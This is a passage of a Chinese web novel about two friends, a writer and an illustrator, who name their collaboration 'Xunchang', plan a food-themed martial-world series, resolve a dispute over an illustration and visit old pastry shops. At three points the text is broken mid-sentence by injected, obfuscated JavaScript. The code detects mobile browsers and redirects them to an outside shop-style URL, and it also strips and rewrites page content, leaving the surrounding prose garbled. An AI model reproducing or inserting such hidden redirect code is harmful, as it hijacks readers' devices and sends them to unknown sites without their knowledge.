她在速写本上写下“寻”字,又画了一个放大镜,镜片里是一碗热气腾腾的面。 霜莉看着这个简单的画面,突然有了灵感:“‘寻常’怎么样?” “寻——常?”鸿雁重复。 “对。”霜莉解释道,“我们寻找的,不是奇观异景,而是日常中的不寻常;我们关注的,不是宏大叙事,而是平凡中的深刻。‘寻常’既指‘寻找日常’,又有‘不寻常’的双关。” 鸿雁慢慢品味这个词:“‘寻常’……简单,但意味深长。我们的‘传承’项目,不就是寻找日常生活中的传承吗?那些普通人的坚持,普通食物的记忆,普通时刻的深刻。” “而且这个名字不限定主题。”霜莉补充,“无论我们未来合作什么项目——食物、记忆、手艺、自然——都可以涵盖。” 两人对视,眼中都有认可的光芒。这个名字感觉对了:简单但不肤浅,含蓄但有深度,准确地捕捉了她们创作的精神。 “那我们的署名呢?”鸿雁问,“还是用各自的笔名,加上‘寻常’组合?” 霜莉想了想:“可以这样:作品标题下写‘寻常|青砚&鱿鱼’。既表明是合作作品,又保留各自的署名。” “或者,”鸿雁有另一个想法,“我们可以为这个组合创作一个标志,一个视觉符号。文字和图像的结合,就像我们的合作。” 这个想法让两人兴奋起来。鸿雁立即开始画草图:一个简洁的图形,结合了毛笔笔触和画刷痕迹,中间是一个抽象的碗或盘子形状。她尝试了几种变体,最终选定了一个:左边是毛笔的飞白,右边是画刷的质感,中间是一个圆,像是容器,又像是交汇点。 “这个圆可以是太阳,是月亮,是盘子,是碗,是任何容器。”鸿雁解释,“象征承载——承载记忆,承载故事,承载食物,承载创作。” 霜莉看着这个标志,感到非常满意:“完美。它不解释,只是暗示,留下想象空间,就像我们的创作一样。” 她们决定将第一个合作项目“传承”以“寻常”的名义发布。霜莉会写短篇故事《薪火》,鸿雁会写散文《手温》并配插图系列《掌纹》。 “我们需要一个发布平台。”霜莉说,“我的博客主要是小说,你的主要是美食记录。‘寻常’需要自己的空间。” 鸿雁思考了一下:“我们可以新建一个博客,或者用现有的平台创建一个专栏。重要的是,这个空间专门用于我们的合作作品,保持纯粹性。” 两人讨论了技术细节:网站设计、发布频率、互动方式。她们决定保持低频但高质量的输出,每两个月发布一个合作项目,期间可以各自更新自己的独立创作。 “这样不会太累,也能保证每次合作都有足够的深度和准备。”霜莉说。 鸿雁点头:“而且我们可以用这个节奏长期坚持下去,不是一时兴起的项目,而是持续的对话。” 名称确定后,她们感到一种奇妙的正式感。之前的合作是随性的,现在的“寻常”则是一个有意识、有承诺的创作组合。这不只是标签,更是对她们友谊和创作理念的确认。 午餐时间,她们简单做了面条,继续讨论“寻常”的细节。阳光移到了工作室的另一侧,墙上的画作在不同的光线下呈现出不同的质感。 “你知道吗,”霜莉吃着面条说,“我一直在想,为什么我们的合作感觉这么自然。我们性格不同,创作媒介不同,但创作理念却如此契合。” 鸿雁想了想:“也许因为我们都相信创作的本质不是展示技巧,而是表达理解;不是追求新奇,而是发现深意;不是自我表现,而是与世界的对话。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122850|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “而且我们都喜欢过程胜过结果。”霜莉补充,“享受研究的乐趣,享受尝试的冒险,享受讨论的启发,而不仅仅是最终作品的完成。” 这种共识让她们的合作超越了表面的配合,成为了深度的交流和共同的成长。每次讨论,每次合作,不仅产生作品,也深化她们对创作和生活的理解。 下午,她们开始为“寻常”的第一个项目工作。霜莉写《薪火》的开头,鸿雁画《掌纹》系列的第一张草图。工作室里再次安静下来,只有创作的声音。 霜莉写的是一个民国时期酒楼的故事。老师傅陈守仁六十年来坚守“德兴楼”,如今面临时代变革和身体衰老,需要将手艺和理念传给年轻的学徒林晓。她写得很投入,人物的声音和场景的细节自然浮现。 鸿雁则画了一系列手的特写:老人布满皱纹但稳定的手,年轻人犹豫但渴望学习的手,传递厨刀的手,揉面的手,调味的手。她不追求完美的技巧,而是捕捉手的情感和故事。 工作间隙,她们会互相看看对方的进展,提点小建议,但不过多干涉。保持独立性的同时,又有微妙的呼应——霜莉写到一个细节,鸿雁的画里会有相应的体现;鸿雁画出一个表情,霜莉的文字里会有对应的描写。 傍晚时分,两人都有了不错的进展。霜莉完成了《薪火》的第一部分,鸿雁完成了《掌纹》的前三张草图。她们决定今天到此为止,给自己一些沉淀的时间。 “下周三的创作会,我们可以分享完整初稿。”霜莉说。 鸿雁点头:“然后互相给反馈,修改完善,准备发布。” 离开工作室时,霜莉感到一种充实的疲惫。不只是因为工作,更是因为创造了一种新的创作模式,确认了一种有价值的友谊,开启了一个有潜力的项目。 走在回家的路上,她想着“寻常”这个名字。确实,她们寻找的,就是寻常中的不寻常:一碗面里的乡愁,一道菜里的传承,一次握手里的信任,一段对话里的理解。 这些看似微小的东西,实际上是生活的基石,是文化的脉络,是人性的微光。而通过文字和图像,她们试图捕捉这些微光,让它们在作品中继续闪烁。 到家后,霜莉在日记本上写下:“今天,我们成为了‘寻常’。不是标签,而是承诺:承诺继续寻找,继续对话,继续创作。承诺在快速变化的时代里,慢下来,深下去,关注那些看似普通却深刻的事物。” 她合上日记本,看着窗外渐暗的天空。城市灯火开始点亮,每一盏灯后面都有一个故事,一次寻找,一段寻常或不寻常的生活。 而她,作为“寻常”的一部分,有了一份新的责任和可能:不只是写自己的故事,也参与一场对话;不只是表达自己的理解,也与另一个声音共鸣;不只是独自前行,也与同伴一起探索。 这让她感到温暖,也感到力量。创作的路还长,但现在,这条路上有了更清晰的路标,更坚实的步伐,和并肩同行的伙伴。 而这一切,始于一个简单的笔名,一次深入的讨论,一份对创作本质的共同信念。寻常的下午,不寻常的开始。未来的“寻常”会走向何方,她还不知道,但她期待每一刻的探索,每一次的发现,每一段的旅程。 手机响了,是鸿雁发来的消息:“刚刚又画了一张草图——我们的标志旁边,加上了一行小字:‘寻找日常中的光’。你觉得如何?” 霜莉微笑着回复:“完美。这就是‘寻常’的全部意义。” 她保存文档,关掉电脑。今天的工作结束了,但“寻常”的旅程刚刚开始。在寻常的生活中,寻找不寻常的深意;在独立的创作中,创造对话的可能;在深厚的友谊中,培育共同成长的空间。 这就是“寻常”,这就是她们。而明天,太阳照常升起,创作继续,寻找继续,友谊继续,一切都在寻常中,孕育着不寻常的可能。 14. 食味江湖的雏形 周三创作会,霜莉和鸿雁没有像往常一样各自工作然后分享,而是将整个晚上用来头脑风暴。工作台上摊满了资料:古籍影印本、老食谱、采访笔记、历史研究、还有两人之前的创作片段。 她们正在构思一个更大的项目——“食味江湖”系列。这个想法源于霜莉的《云间录》和鸿雁的“味觉记忆”,但比两者都更宏大、更系统。 “我想做一个以食物为线索的古风世界。”霜莉指着墙上的思维导图,“不是单一线性的小说,而是一个多维度的创作:主线故事、配角列传、食物考据、风俗记录、插图系列……” 鸿雁接着她的话:“就像构建一个完整的江湖,但这不是武侠的江湖,而是食物的江湖。每个门派不是武功流派,而是烹饪流派或食材世家;每段恩怨不是刀光剑影,而是口味之争或秘方传承。” 这个构想让两人都兴奋不已。她们意识到,各自之前的创作实际上已经在为这个“食味江湖”做准备:霜莉的古风小说提供了叙事框架和人物原型,鸿雁的美食研究提供了文化细节和现实基础。 “我们需要一个世界观。”霜莉翻开新笔记本,“时代背景、地理设定、势力分布、核心规则。” 鸿雁拿起画笔:“我先画一张地图如何?给这个江湖一个空间感。” 她铺开一张水彩纸,开始勾勒想象中的“食味江湖”:中央是皇城“鼎都”,四方有四大菜系世家,各地有特色食材产地,山川河流不仅是自然景观,也是食材通道和美食边界。 “东方‘鲜味世家’,擅长海鲜,靠海而居,信奉‘食材本味’。”鸿雁一边画一边说,“西方‘麻辣宗门’,地处盆地,善用香料,理念是‘味要够劲’。” 霜莉记录着:“南方‘甜韵门派’,气候湿热,讲究‘甜能解腻,润能祛燥’。北方‘咸香联盟’,地广人稀,注重‘咸能下饭,实能抗寒’。” “除了四大,”鸿雁继续,“还有中立的‘调和派’,游走的‘行商帮’,隐居的‘药膳谷’,以及神秘的‘失味教’——他们认为过度追求美味会迷失本心,主张回归食物最原始的状态。” 这些设定自然涌现,仿佛这个江湖早已存在,只是等待她们发现。两人你一言我一语,构建出一个丰富而自洽的世界。 “但这个世界不是封闭的。”霜莉强调,“它要与现实对话,让现代读者在其中看到自己的影子。所以我们要有古今对照,有文化思考,有现实映照。” 鸿雁点头:“就像我们做茯苓饼那样,古方新解。‘食味江湖’虽然是古风设定,但探讨的是永恒主题:传承与创新,本真与调和,个性与包容,欲望与节制。” 她们开始构思具体作品形式。霜莉会写系列中篇故事,每个故事围绕一个“食味江湖”的事件或人物;鸿雁会配插图,并写“江湖风物志”,介绍这个世界的美食、风俗、人物;两人还会合作“古今食话”专栏,将江湖中的食物与现实中的传统美食对照研究。 “我们甚至可以做一些实物。”鸿雁突发奇想,“根据‘食味江湖’的设定,复原其中的代表性食物,拍照记录过程,作为作品的延伸。” 霜莉眼睛一亮:“这个主意好!让文字、图像和实物形成多维度的体验。读者不仅读故事、看画面,还能通过食谱和制作过程,亲手触摸那个世界。” 头脑风暴持续到深夜。工作室的灯一直亮着,桌上堆满了草图和笔记。咪咪和糯米早已在角落的软垫上相拥而眠,对主人们的狂热讨论习以为常。 “我们需要一个起点。”霜莉说,“第一个故事,第一个食物,第一次向读者介绍这个世界。” 鸿雁翻看她之前为《云间录》画的插图,停在一张“云间食肆”的画上:“从这里开始如何?一家开在江湖边境的小食肆,店主是个神秘的药膳师,接待各方来客,见证各种故事。” 霜莉点头:“这个设定有开放性。食肆作为固定场景,客人带来流动的故事。我们可以通过客人的点餐、店主的烹饪、席间的对话,展现江湖的方方面面。” 她们决定第一个故事叫《云间食肆·初开张》。讲述药膳师云苓(沿用了《云间录》的名字,但在这个系列中她是独立角色)在山林交界处开设食肆的第一天,接待三位不同背景的客人:一位追求极致美味的世家子弟,一位寻找失传食谱的老厨人,一位对食物毫无兴趣的受伤剑客。 “三位客人,三种对食物的态度。”霜莉构思着,“世家子弟代表‘技’,老厨人代表‘传’,受伤剑客代表‘用’。通过云苓与他们的互动,展现食物不仅是技艺、传统或功能,更是连接、理解和治愈。” 鸿雁已经开始画人物草图:“云苓的形象要既传统又有现代感。她不是完美的医仙,而是有自己局限和成长的普通人。她的食肆不是万能的神奇店铺,而是一个让人慢下来、品尝、思考的空间。” 她们为这个世界设定了基本规则:食物可以传递情感,但不会魔幻化;烹饪需要技巧和心意,但不会夸张化;味道可以引发回忆和思考,但不会万能化。要保持一种克制的诗意,让神奇存在于日常之中,而非日常之外。 “就像我们‘寻常’的理念。”霜莉说,“在看似普通的食物中,发现不普通的意义;在看似日常的互动中,发现不日常的深度。” 凌晨一点,头脑风暴暂告段落。两人都感到疲惫但充实,仿佛刚刚探索了一片新大陆,绘制了第一张粗糙但完整的地图。 “这个项目太大了。”霜莉看着满桌的资料说,“可能需要几年时间才能完成我们构想的一切。” 鸿雁泡了最后一壶茶:“但正因为大,才值得做。我们可以一点点来,不急不躁,享受构建的过程。就像建造一座花园,不是一天完成,而是每天种一点,看着它慢慢生长。” 这个比喻打动了霜莉。确实,“食味江湖”不应该是一个急于完成的产品,而是一个持续生长的创作生态系统。故事、插图、研究、实物,各个部分相互滋养,共同演进。 她们约定,接下来一个月,先完成《云间食肆·初开张》的初稿和配套插图。同时继续完善世界观设定,为后续创作打下坚实基础。 离开工作室时,霜莉带走了一沓草图和一笔记本的构思。深夜的街道安静冷清,但她心中却是一片热闹的江湖:鼎都的繁华街市,四大世家的明争暗斗,行商帮的流动筵席,药膳谷的隐秘传承,失味教的清苦修行…… 这个世界如此鲜活,仿佛随时会从纸上跳出来,邀请她进入,邀请她书写,邀请她成为它的一部分。 回到家,霜莉没有立即睡觉。她打开电脑,新建了一个文件夹,命名为“食味江湖”。里面又建了子文件夹:“世界观”、“人物库”、“故事集”、“食物志”、“插图集”、“研究资料”。 她开始整理今晚的讨论成果,分类归档。这个过程本身就像在建造这个江湖的第一批建筑,铺设第一批道路,安置第一批居民。 完成后,她新建一个文档,写下“食味江湖”的核心理念: “这不是一个关于食物的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122851|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幻想世界,而是一个通过食物理解人性和文化的透镜。在这个江湖里,味道是语言,烹饪是哲学,用餐是仪式,食谱是历史。我们通过构建这个世界,实际上是在探索现实世界中食物的意义:它如何连接我们与过去,如何表达我们与现在,如何影响我们与未来。” 写到这里,霜莉停下来思考。这确实是一个宏大的目标,甚至有些自不量力。但正是这种雄心,让创作有了超越日常的意义;正是这种深度,让合作有了超越表面的价值。 她想起鸿雁的话:“就像建造一座花园,不是一天完成,而是每天种一点,看着它慢慢生长。” 是的,她们可以慢慢来。一个月完成第一个故事,两个月完成第一个系列,一年完成第一个阶段。在这个过程中,她们自己也会成长,对食物、对文化、对创作的理解会深化,友谊会加固,作品会自然演进。 这种不急不躁的态度,在这个追求快速产出的时代,反而成了一种抵抗,一种坚持,一种清醒的选择。 霜莉保存文档,关掉电脑。躺在床上,她脑海中仍然盘旋着“食味江湖”的种种画面:云苓在晨雾中升起食肆的招牌,第一位客人踏进门,点了一道简单的粥;老厨人颤抖的手展开一张泛黄的食谱;受伤剑客第一次认真品尝食物,眼中闪过复杂的光芒…… 这些画面如此清晰,仿佛不是她创造的,而是她发现的。也许最好的创作就是这样:不是强加一个世界,而是唤醒一个已经存在的世界;不是发明故事,而是聆听故事;不是表现自我,而是成为通道。 在这个意义上,“食味江湖”不仅是一个创作项目,也是一次自我发现的旅程。通过构建这个世界,她们也在构建自己对美食、文化、创作的理解;通过书写这些人物,她们也在探索自己的人性和可能。 窗外的天色开始泛白。霜莉闭上眼睛,让思绪在“食味江湖”中漫游。她知道,今天只是一个开始,未来还有漫长的创作旅程。但有了清晰的方向,有了深厚的友谊,有了共同的理念,这段旅程不再令人畏惧,反而充满期待。 明天,她会开始写第一个故事的第一句话。那句话会像一扇门,推开后是一个热气腾腾、味道丰富、人情温暖的江湖。而她,作为这个江湖的记录者之一,有责任也有荣幸,用文字捕捉它的光影,用理解传递它的温度。 在入睡前的朦胧中,霜莉仿佛已经闻到了“云间食肆”飘出的第一缕香气:那是草药与食材的调和,是传统与创新的对话,是孤独与连接的平衡,是一切开始的味道。 而这个味道,将引领她,引领鸿雁,引领未来的读者,进入一个看似遥远却异常亲切的世界——一个用味道书写的江湖,一个用食物理解的天下。 “食味江湖”,雏形已成,只待生长。而她们,作为园丁,已经准备好了耐心、细心和恒心,陪伴它从幼苗到森林,从蓝图到世界。 这将是漫长的旅程,但每一步都值得,每一刻都珍贵。因为在这个旅程中,她们不仅创造作品,也成为作品的一部分;不仅构建世界,也被世界构建;不仅书写故事,也活出故事。 这,或许就是创作最深刻的意义:在创造中,被创造;在理解中,被理解;在连接中,被连接。 而这一切,始于一个深夜的头脑风暴,一次灵感的碰撞,一份友谊的深化,一个江湖的雏形。 明天,太阳照常升起,但世界已多了一个“食味江湖”。而她们,是这个江湖的第一批居民,也是它的第一批记录者。 故事,即将开始。 15. 第一次争执 霜莉盯着鸿雁刚完成的《云间食肆·初开张》插图,眉头越皱越紧。这是故事的最后一个场景:三位客人在食肆中围坐一桌,分享一锅简单的药膳粥,窗外是暮色中的山林。画面温暖和谐,人物表情宁静满足。 但问题就出在这里。 “这个结局太美好了。”霜莉终于开口,声音里有一丝不易察觉的不满,“三位背景、理念完全不同的客人,怎么可能在一顿饭后就达成这样的和谐?” 鸿雁放下画笔,有些意外:“这不是你故事里写的吗?‘三人相视而笑,恩怨暂放,共享一粥’。” “我写的是‘暂时’,是‘暂放’。”霜莉强调,“不是解决,不是和谐,而是疲惫后的休战,复杂中的喘息。但你的画看起来像是大团圆结局,像是所有问题都解决了。” 鸿雁重新看向自己的画:“我画的就是休战的感觉啊。你看他们的表情,不是完全放松,而是带着疲惫的平静;不是问题解决,而是暂时放下。” “但画面整体太温暖了。”霜莉坚持,“光线太柔和,色彩太协调,构图太平衡。这传达的不是‘暂放’,而是‘和解’。” 工作室的气氛突然变得紧张。这是两人合作以来第一次真正的争执,之前的讨论都是建设性的,这次却有了分歧的味道。 咪咪似乎感受到了紧张,从鸿雁腿上跳下来,走到角落。糯米也从霜莉肩头滑走,躲到书架高处。 鸿雁深吸一口气:“我是根据你文字的感觉画的。你写那个场景时用了很多温暖的词汇:‘热气腾腾’、‘香气四溢’、‘难得的安宁’……” “但温暖中应该有裂痕,安宁中应该有不安。”霜莉说,“我的文字里也有这些暗示:‘笑容中的疲惫’、‘平静下的暗流’、‘暂时达成的脆弱平衡’。你的画没有这些层次,只有表面的和谐。” 鸿雁沉默了。她重新审视自己的画,试图从霜莉的角度去看。确实,她在创作时被那个场景的温暖打动,强调了和谐的一面,弱化了矛盾的一面。 但她也有些委屈:“如果你要的是矛盾感,为什么文字里不更明确地表达?为什么用那么多美好的描写?” “因为文学的魅力在于暗示和留白。”霜莉说,“我通过美好的描写来衬托底下的不安,让敏锐的读者感受到表层之下的东西。但你的画把这些都抹平了,只剩下表层。” 这话让鸿雁感到受伤:“你是说我的画肤浅?” “我不是这个意思。”霜莉意识到自己说重了,试图缓和,“我是说,我们的媒介不同,表达方式需要调整。文字可以复杂暧昧,图像需要更明确的视觉语言来传达复杂性。” 但话已出口,伤害已经造成。鸿雁站起来,走到窗边,背对霜莉:“我需要想想。” 工作室陷入尴尬的沉默。只有窗外的鸟鸣和远处城市的模糊声响。桌上的茶已经凉了,松饼还剩一半,但谁也没有胃口。 霜莉感到一阵后悔。她不应该这么直接,不应该用“抹平”这样的词。鸿雁的画一直给她带来灵感和启发,这次的插图也有它的美感和力量。她只是觉得没有完全传达她文字中的复杂意图。 但她也有自己的坚持。作为作者,她希望图像能忠实于故事的精神,而不仅仅是表面的场景。如果图像简化了故事的复杂性,那么整个作品就会失去深度。 这是一个创作理念的根本分歧:鸿雁倾向于捕捉瞬间的美感和情感,霜莉倾向于传达持续的复杂和矛盾。两种倾向各有价值,但在合作中需要找到平衡。 十分钟后,鸿雁转过身,表情平静了一些:“我理解你的意思。我的画确实偏向于美化和简化。但这是我的风格,是我看待世界的方式——即使在矛盾中寻找和谐,在复杂中寻找美。” 霜莉点头:“我也理解。你的风格是你作品的力量所在。问题不在于你的风格,而在于我们的合作需要找到中间点:如何既保持你的风格,又传达故事的复杂性?” 这个问题的提出让紧张气氛有所缓解。从“谁对谁错”转向“如何解决”,是建设性的转变。 鸿雁回到工作台前,看着那幅画:“也许可以调整一些细节。让光线更有戏剧性,让阴影更重;调整人物的表情,增加一些微妙的紧张;在构图上制造一点不平衡感。” 霜莉也靠过来:“或者,我们不一定非要一幅画概括整个场景。可以做系列小幅插图,捕捉不同时刻、不同角度:刚开始的戒备,中间的试探,最后的疲惫安宁。通过系列展现过程,而不是单幅展现结果。” 这个想法让鸿雁眼睛一亮:“这个好!我可以画三到四幅小画,组成一个叙事序列。这样既保持每幅画的美感,又通过序列展现变化和复杂。” 两人重新坐下,开始具体讨论。霜莉指出文字中的关键转折点,鸿雁构思如何用图像表现这些转折。争执变成了深入的创作对话,紧张变成了专注。 “第一幅,三位客人刚进门时。”霜莉描述,“互相打量,保持距离,表情警惕。云苓在柜台后观察他们。” 鸿雁快速勾勒:三个人物分别占据画面的三个区域,视线不直接接触,中间是空着的桌子,云苓在背景中只露出半个身影。 “第二幅,点餐时。”霜莉继续,“世家子弟挑剔,老厨人犹豫,剑客无所谓。云苓耐心倾听,但手里已经在准备食材。” 鸿雁画下:三个人物靠近了一些,但仍然有明显的隔阂。云苓在画面一角,手部特写,正在处理药材。 “第三幅,用餐时。”霜莉说,“第一口之后的反应变化:世家子弟的惊讶,老厨人的回忆,剑客的触动。但仍然没有直接交流。” 鸿雁描绘:三个人物都低着头看着碗,表情各异。蒸汽模糊了部分面容,增加了朦胧和距离感。 “最后一幅,餐后。”霜莉总结,“没有明显的和解,但有微妙的变化:坐姿放松了一些,偶尔的眼神接触,但仍然保留着各自的孤独。云苓在收拾餐具,表情平静但若有所思。” 鸿雁完成最后一幅草图:暮色更深了,光线更暗,人物沉浸在各自的思绪中,没有明显的互动,但气氛比开始时柔和。云苓在窗边,看着外面的山林,背影显得有些孤独。 四幅草图完成后,两人一起审视。这次的系列确实更好地传达了故事的复杂性:从疏离到微妙的接近,从戒备到疲惫的放松,从各自为政到共享空间但仍然保持距离。 “这样好多了。”霜莉由衷地说,“每幅画都有美感,但系列整体展现了过程的曲折和结果的模糊。既忠实于故事,又发挥了图像叙事的优势。” 鸿雁也满意:“而且这样更有意思。单幅画是结论,系列画是过程。我喜欢表现过程,因为生活本身就是过程,不是结论。” 争执解决了,但更深层的问题浮出水面:在未来的合作中,如何避免类似的误解?如何确保文字和图像不仅是表面的配合,更是深层的对话? 她们泡了新的茶,重新坐下来讨论。 “我们需要建立更有效的沟通流程。”霜莉说,“不仅仅是交换成品,而是在创作过程中就互相参与。我写草稿时就给你看,你画草图时就给我看,及时调整方向。” 鸿雁点头:“而且我们要接受彼此的创作有时会偏离对方的预期。这不是错误,而是不同视角的补充。就像这次,我的‘美化’倾向实际上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122852|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提供了另一种解读的可能性。” “对。”霜莉思考着,“也许我们的合作不应该追求完全的一致,而应该允许适度的差异。文字和图像从不同角度讲述同一个故事,这些角度之间的缝隙,恰恰是读者思考的空间。” 这个认识让两人都感到释然。合作不是合并,不是一方服从另一方,而是两种独立创作的对话和互补。适度的差异不是缺陷,而是丰富性。 “那这幅单幅画呢?”鸿雁指着最初引起争执的那幅,“还要吗?” 霜莉仔细看了看:“要,但作为另一种版本。不是故事的插图,而是故事的‘理想化解读’。可以在系列之后,作为对比展示:这是表面的和谐,但真实的情况是系列展现的复杂过程。” 鸿雁笑了:“就像现实与理想的关系。理想是单幅的和谐,现实是系列的复杂。两者都是真实的,只是不同层面的真实。” 这种理解让她们的合作达到了新的深度。不仅是技术和内容上的配合,更是哲学和美学上的对话。 傍晚时分,工作室的气氛已经完全恢复。两人一起完善了插图系列,霜莉也根据插图调整了部分文字,让两者呼应得更自然。 离开前,鸿雁突然说:“谢谢你坚持自己的观点。如果你不坚持,我可能就满足于那幅单幅画了,我们的作品就会失去很多深度。” 霜莉也诚恳地说:“也谢谢你能理解我的坚持,并且愿意调整。如果你固守己见,我们的合作可能就停滞了。” 她们相视而笑。这次争执不仅没有破坏友谊,反而加深了相互理解和尊重。她们明白了,真正的合作不是没有分歧,而是有能力建设性地处理分歧;不是永远和谐,而是在不和谐中找到新的和谐。 走在回家的路上,霜莉反思今天的经历。创作上的争执往往是理念和价值观的碰撞,处理得好,可以成为突破和成长的契机。今天的争执让她们明确了合作的本质,建立了更有效的沟通方式,也确认了彼此的尊重和信任。 这或许就是创作伙伴与普通朋友的不同:不仅要分享生活的乐趣,也要共同面对创作的挑战;不仅要互相支持,也要互相挑战;不仅要和谐相处,也要有能力处理分歧。 而她和鸿雁,经过了这次考验,证明她们有能力成为这样的伙伴。 到家后,霜莉打开电脑,在“食味江湖”的文档中添加了一个新部分:“合作原则”。她写下了今天的领悟: “1.尊重彼此的创作独立性,不强求完全一致。 1.在创作过程中及时沟通,避免成品阶段的重大分歧。 2.接受适度的差异,视为丰富性而非缺陷。 3.处理分歧时,从‘如何解决’而非‘谁对谁错’出发。 4.保持对作品的共同责任感,同时保持对彼此的尊重和信任。” 写完这些,她感到一种清晰的平静。未来的合作中可能还会有分歧,但有了这些原则,她们就能建设性地处理,让每一次分歧都成为深化合作的机会。 窗外,夜幕降临。霜莉保存文档,关掉电脑。今天的争执和解决,让她对“寻常”组合有了更坚实的信心。这不是一个脆弱的联盟,而是一个能经受考验、在挑战中成长的伙伴关系。 而这,或许才是合作创作最珍贵的部分:不仅是产出的作品,更是过程中建立的信任、理解和共同成长。 明天,“食味江湖”的第一个故事和插图系列将完成。今天的分歧和解决,已经成为了这个故事的一部分——不仅是作品背后的故事,也是作者之间友谊的故事。 而这两个故事,都在继续,都在生长,都在期待下一章的展开。 16. 市场调研 周六清晨,霜莉和鸿雁站在城南老街的入口,手里拿着笔记本和相机,肩上各有一只宠物——糯米在霜莉的胸前袋里,咪咪在鸿雁的背包里,只露出个小脑袋。 她们今天的目标是为“食味江湖”中的“糕点世家”故事做市场调研。霜莉计划写一个关于糕点手艺传承与创新的故事,鸿雁则要为此绘制一系列传统糕点插图。但两人都意识到,仅靠书本资料和网络研究是不够的,需要实地探访,感受真实的糕点制作和销售场景。 “我们先去哪家?”鸿雁翻看着手机里的笔记,“这条街上有三家老字号糕点铺:陈记糕饼店开了六十年,王婆婆糕点坊是家庭作坊,还有新开的‘古法新作’创意糕点店。” 霜莉思考了一下:“按时间顺序吧,从最传统的开始,到最新的创意店。这样能看到传承与变迁的完整谱系。” 陈记糕饼店的门面不大,招牌已经有些褪色,但橱窗擦得明亮。早上八点,店里已经有不少老顾客。两人推门进去,门上的老式铃铛发出清脆声响。 店主是位头发花白但精神矍铄的老人,正用一双稳定的手给顾客装糕点。柜台里整齐排列着各种传统糕点:绿豆糕、桂花糕、芝麻饼、杏仁酥……每一样看起来都朴实无华,但散发着自然的香气。 鸿雁小心地拍了几张照片,霜莉则观察着店内的细节:老式的木质柜台,手写的价目表,墙上泛黄的糕点制作流程图,还有角落里那台看起来很有些年头的烤箱。 “两位姑娘想买点什么?”老人忙完一批顾客后,转向她们。 “我们想了解一下传统糕点的制作。”霜莉礼貌地说,“我在写一个关于糕点传承的故事,想做一些实地研究。” 老人的眼睛亮了:“写故事?好啊好啊,现在年轻人还愿意写这些老东西的不多了。你们等等,我这批客人忙完,跟你们好好说说。” 趁着老人忙碌,两人仔细观察。鸿雁注意到糕点上的花纹都很朴素,没有现代糕点那些精美的装饰,但每一道纹路都很清晰,显然是用了心的模具。霜莉则注意到顾客大多是中老年人,购买时很少犹豫,都是直接报出要什么,显然是多年的习惯。 半小时后,店里暂时清闲下来。老人邀请她们到后面的工作间看看——这是很少对客人开放的。 工作间比想象中整洁有序。几个大缸里装着不同种类的面粉和馅料,墙上的架子摆满了各种模具,最老的几个看起来像是民国时期的。工作台上,一个年轻人正在揉面,动作熟练但表情有些机械。 “这是我孙子,阿文。”老人介绍,“跟我学了五年了,基本的手艺都会了,就是还缺些火候。” 阿文抬头朝她们点点头,继续工作。鸿雁注意到他的动作虽然标准,但缺少老人那种行云流水的流畅感。 “做糕点最重要的是耐心和感觉。”老人拿起一块刚出炉的绿豆糕,“你看这颜色,不能太绿,那是加了色素;也不能太白,那是火候不够。要这种淡淡的豆青色,才是绿豆本来的颜色。” 他掰开一块,内部质地均匀细腻:“这口感,不能太干,不能太湿,要刚好在嘴里化开。甜度也是,不能盖过绿豆的本味,只是轻轻提一下。” 霜莉认真地记录着这些细节。这些不仅是技术要点,更是哲学理念:尊重食材,追求本味,平衡和谐。这些理念可以成为她故事中糕点世家的核心价值。 鸿雁则画下了工作间的速写:老人的手在示范,孙子的手在学习,两代人之间的微妙张力。她还特别画了那些老模具,每一个都有独特的形状和花纹,像是时间的印记。 离开陈记时,她们买了几种糕点准备品尝研究。老人特意多给了两块:“尝尝,给点意见。虽然我们这老东西可能不合你们年轻人的口味了。” 第二家王婆婆糕点坊是真正的家庭作坊,就在老街深处的民居里。没有正式店铺,只是在家门口摆了个小摊,但排队的人不少。 王婆婆已经七十多岁,但手脚依然利落。她的糕点更家常,更随性:形状不那么规整,大小不那么一致,但有一种手工的温暖感。 “我啊,没什么配方,都是凭感觉。”王婆婆一边包着豆沙包一边说,“面发到什么程度,馅放多少糖,看天气,看心情,看是谁吃。我孙子喜欢吃甜一点,我就多放点糖;邻居李大爷血糖高,我就少放点。” 这种灵活性让霜莉思考:在她的故事中,传承的应该是固定的配方,还是这种“凭感觉”的智慧?或许,真正的传承不是复制,而是理解原理后的灵活应用。 鸿雁被王婆婆的工作环境打动:小小的厨房,简单的工具,但每一件都用得发亮。阳光从窗户照进来,照在刚出笼的包子上,蒸汽在光线中升腾,有一种日常的诗意。 她画下了这个场景:不是完美的构图,而是真实的生活。手部的特写,面团的质感,蒸汽的朦胧,光线的温暖。 